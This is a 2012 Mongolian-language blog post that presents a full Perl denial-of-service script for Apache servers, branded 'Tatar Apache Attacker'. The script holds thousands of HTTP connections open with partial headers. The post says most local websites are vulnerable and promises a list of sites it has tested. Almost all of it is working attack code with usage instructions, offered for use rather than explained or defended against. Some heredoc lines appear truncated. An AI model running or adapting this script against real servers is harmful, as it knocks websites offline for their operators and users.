Wednesday, November 14, 2012

Apache kill \DDOS\ attack

Энд Apache aa update хийдэггүй болон сайн тохируулдаггүй вэбүүдийг чангалах exploit орууллаа. Үүнийг харсан нь хамгаалалтаа хийнэ биз. Ер нь тэгээд манай вэбүүдийн ихэнх нь энэ exploit ийн эсрэг хамгаалалт гэж алга.
Шалгасан вэбүүдийн жагсаалтыг энд оруулсаар байх юм.


#!/usr/bin/perl -w
# Exploit Title: Apache Server Denial of Service exploit (DDOS)
# Author: Tatar
# Version: 2.3.14 and older
# Tested on: CentOs


use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;


$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

print <          ooooooo  ooooo                         .oooo.              
           `8888    d8'                         d8P'`Y8b             
             Y888..8P     .ooooo.  ooo. .oo.   888    888 ooo. .oo.  
              `8888'     d88' `88b `888P"Y88b  888    888 `888P"Y88b 
             .8PY888.    888ooo888  888   888  888    888  888   888 
            d8'  `888b   888    .o  888   888  `88b  d88'  888   888 
          o888o  o88888o `Y8bod8P' o888o o888o  `Y8bd8P'  o888o o888o
                                                                     
Welcome to Tatar Apache Attacker

EOTEXT

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $xenon, $method, $ssl, $rand, $tcpto );
my $result = GetOptions('shost=s'   => \$shost,'dns=s'     => \$host,'xenon' => \$xenon,'num=i'     => \$connections,'cache'     => \$cache,'port=i'    => \$port,'https'     => \$ssl,'tcpto=i'   => \$tcpto,'test'      => \$test,'timeout=i' => \$timeout,'version'   => \$version,);

if ($version) {
    print "Version 1.0\n";
    exit;
}

unless ($host) {
    print "Test:\n\n\tperl $0 -dns [www.example.com] -test\n";
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -port 80 -timeout 100 -num 1000 -tcpto 5 -xenon\n";

    print "\n\temail: tatar@ gmail.com\n";
print "\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Xen0n will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($xenon) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "1", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "Testing $host could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now just wait...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Xen0n closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Xen0n against this target.  You can
tweak the -tcpto flag down to 1 second but it still may not build the sockets
in time.
EOSUCKS2BU
    }
}
else {
    print
"Attacking $host:$port every $timeout seconds with $connections sockets:\n";

    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}

sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tXen0n has sent $packetcount packets to $host.\nThe attack will sleep for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

__END__

1 comment:

  1. ene exploit iin talaar taibarlaad ogooch ho

    ReplyDelete